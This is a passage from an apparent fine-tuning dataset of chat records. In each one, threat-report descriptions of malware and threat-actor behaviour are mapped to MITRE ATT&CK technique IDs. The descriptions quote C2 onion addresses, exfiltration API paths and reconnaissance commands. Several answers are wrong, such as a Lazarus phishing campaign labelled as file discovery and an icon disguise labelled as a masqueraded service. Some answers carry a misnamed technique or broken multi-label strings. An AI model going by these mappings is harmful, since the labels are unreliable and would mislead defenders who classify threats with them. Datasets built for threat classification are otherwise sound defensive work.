            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For each enumeration, it performs a breadth-first search to wipe the files in the logical drive while ignoring files located in the \"%HOMEDRIVE%\\Windows\" directory. It also only wipes files that have specific file extensions"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LoudMiner has monitored CPU usage."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike was also used to continuously communicate with the main command-and-control (C&C) server."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware', 'T1583.004 - Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While investigating some malicious activity in Central Asia, we identified a new backdoor, named Tunnus, which we attribute to Turla. This is.NET-based malware with the ability to run commands or perform file actions on an infected system and send the results to its C2. So far, the threat actor has built its C2 infrastructure with vulnerable WordPress installations."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 has used TinyMet to enumerate members of privileged groups. TA505 has also run \"net group /domain\"."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "created a  that used regsvr32.exe to execute a COM scriptlet that dynamically downloaded a backdoor and injected it into memory."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper has installed a service pointing to a malicious DLL dropped to disk."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We’ve seen two onion addresses used in different samples:  g5wcesdfjzne7255.onion (Down) r2elajikcosf7zee.onion (Alive at time of writing)  The HTTP resource always starts with /api/osx/ and contains actions such as:  /api/osx/started to report the bot has just started /api/osx/keychain to exfiltrate the content of the keychain /api/osx/get_task?bot_id={botid}&version={version} to request a task (described below) /api/osx/cmd_executed to report a the output of a command that was executed /api/osx/task_complete?bot_id={botid}&task_id={taskid} to report a task was completed  HTTP POST content has two fields: bot_id and data"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol', 'T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RedLeaves can gather extended system information including the hostname, OS version number, platform, memory information, time elapsed since system startup, and CPU information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Elderwood has targeted manufacturers in the supply chain for the defense industry."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The overwritten code reads the ransom note string inside the MBR and sets it to appear on the display"
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During our analysis, we successfully extracted the command line argument to execute its payload. The following command is used to execute the payload"
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used net group /domain, net localgroup administrators, net group “domain admins” /domain, and net group “Exchange Trusted Subsystem” /domain to find group permission settings on a victim."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerDuke hides many of its backdoor payloads in an alternate data stream (ADS)."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Waterbear can inject decrypted shellcode into the LanmanServer service."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Numerous other similarities are present in addition to system reconnaissance methods; the communication mechanism uses the same user agent string as Gold Dragon"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Following these checks, it drops several more malware files signed with the pasted AMD digital signature to a directory it creates"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing', 'T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "down_new has the ability to detect anti-virus products and processes on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ursnif has copied itself to and infected files in network drives for propagation."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Cloud Atlas implants utilize a rather unusual C&amp;C mechanism. All the malware samples we’ve seen communicate via HTTPS and WebDav with the same server “cloudme.com”, a cloud services provider. According to their website, CloudMe is owned and operated by CloudMe AB, a company based in Linköping, Sweden"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FlawedAmmyy has used `cmd` to execute commands on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Suckfly used a signed credential-dumping tool to obtain victim account credentials."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PUNCHBUGGY enables remote interaction and can obtain additional code over HTTPS GET and POST requests."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Each time a new drive is inserted,  generates a list of all files on the drive and stores it in an encrypted file."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN8 has cleared logs during post compromise cleanup activities."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kasidet has the ability to initiate keylogging."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has lured victims into clicking malicious links."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Waterbear can leverage API functions for execution."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Delivery document The delivery document contains a macro that downloads an executable from a remote server"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Goopy has the ability to communicate with its C2 over DNS."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NDiskMonitor can download and execute a file from given URL."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sliver can exfiltrate files from the victim using the \"download\" command."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shortly after this RTF document is opened, the remaining stages of the Inception malware are found executing on the system. The loader DLL is responsible for decrypting and injecting the core payload DLL into memory, from an encrypted file present on disk. The core payload DLL's main function is to gather system information, execute other malware in the form of plugins, and update itself"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once the library is called by one of the triggering events implemented in its code, it reads a configuration file from a shared Google Document. If it is not able to connect to the address, it uses a hardcoded one"
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete has the capability to exfiltrate stolen data to a hidden folder on a removable drive."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MCMD can use scheduled tasks for persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zeus Panda uses HTTP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike's Beacon payload is capable of capturing screenshots."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can communicate to its C2 over TCP using a custom binary protocol."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The latter does not use libcurl anymore and now uses winhttp to perform all requests to C2. The usage of the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run registry key has a persistence mechanism that has been replaced by the creation of a service. The C2 path pattern has also changed, we have identified the following paths: ini.php, info.php and parse_ini_file.php, which are no longer random nor animal named based"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WellMail can exfiltrate files from the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN8 has used environment variables and standard input (stdin) to obfuscate command-line arguments. FIN8 also obfuscates malicious macros delivered as payloads."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AdFind can enumerate domain groups."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MechaFlounder has the ability to use base16 encoded strings in C2."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some Orz strings are base64 encoded, such as the embedded DLL known as MockDll."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 removed evidence of email export requests using \"Remove-MailboxExportRequest\"."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Email Collection: Mailbox Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While all payloads can be dynamically updated, at the time of delivery, this task launched a COM scriptlet (“.sct” file extension) that downloaded and executed Meterpreter hosted on images.chinabytes[.]info"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XCSSET will create an ssh key if necessary with the \"ssh-keygen -t rsa -f $HOME/.ssh/id_rsa -P\" command. XCSSET will upload a private key file to the server to remotely access the host without a password."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Qualys Threat Research has identified a new Lazarus campaign using employment phishing lures targeting the defence sector. The identified variants target job applicants for Lockheed Martin. This blog details the markers of this campaign, including macro content, campaign flow and phishing themes of our identified variants and older variants that have been attributed to Lazarus by other vendors"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ServHelper contains modules that will use schtasks to carry out malicious operations."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EXOTIC LILY has relied on victims to open malicious links in e-mails for execution."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crutch has conducted C2 communications with a Dropbox account using the HTTP API."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JHUHUGIT has used a Registry Run key to establish persistence by executing JavaScript code within the rundll32.exe process."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "T9000 gathers and beacons the MAC and IP addresses during installation."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DanBot has relied on victims' opening a malicious file for initial execution."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "H1N1 has functionality to copy itself to network shares."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HotCroissant has encrypted strings with single-byte XOR and base64 encoded RC4."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot has been delivered via malicious links in phishing e-mails."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Next, the shellcode iterates through the PEB’s loader module list looking for the base address of Kernel32.dll. This is typical of shellcode, as the Kernel32.dll base address is necessary to resolve any dependency files required by the shellcode to run. With this address, the shellcode loads its dependency modules and resolves any necessary Windows Application Programming Interface (API) calls using standard shellcode API hashing. The following modules are loaded"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UserInstall.exe will abuse the BITSadmin command-line tool to create a job and launch sidebar.exe"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a built-in keylogger."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RogueRobin has a command named \"$screenshot\" that may be responsible for taking screenshots of the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "enables remote interaction and can obtain additional code over HTTPS GET and POST requests."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has added the registry value ntdll to the Registry Run key to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has used spearphishing to compromise credentials."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerSploit contains a collection of ScriptModification modules that compress and encode scripts and payloads."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The sample arrives as an app bundled in a Zip archive. It uses the icon for a Word document file as a disguise, attempting to pass itself off as a legitimate document file"
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CosmicDuke uses Windows services typically named \"javamtsup\" for persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PLEAD has been executed via malicious links in e-mails."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zeus Panda collects the OS version, system architecture, computer name, product ID, install date, and information on the keyboard mapping to determine the language used on the system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LaZagne can obtain credentials from macOS Keychains."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete produces file listings in order to search for files to be exfiltrated."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates various subdirectories under %Temp%\\reports\\% and copies files to those subdirectories. It also creates a folder at C:\\Users\\<Username>\\AppData\\Roaming\\Microsoft\\store to store screenshot JPEG files."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This is a guest post by independent security researcher James Quinn. This will be Part 1 of a series titled Reversing Gh0stRAT Variants.  As 2018 drew to a close and 2019 took over, I began to see a different behavior from SMB malware authors.  Instead of massive, multi-staged cryptocurrency miners, I began to see more small, covert RATs serving as partial stage1’s.  Of these samples, there was one specific sample that stood out to me.  A Gh0stRAT variant, this sample not only changed the Gh0stRAT header from “Gh0st” to “nbLGX”, it also hid its traffic with an encryption algorithm over the entire TCP segment, in addition to the standard Zlib compression on the Gh0stRAT data.  Some key functionality is below:   Can download more malware   Offline Keylogger   Cleans Event logs"
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
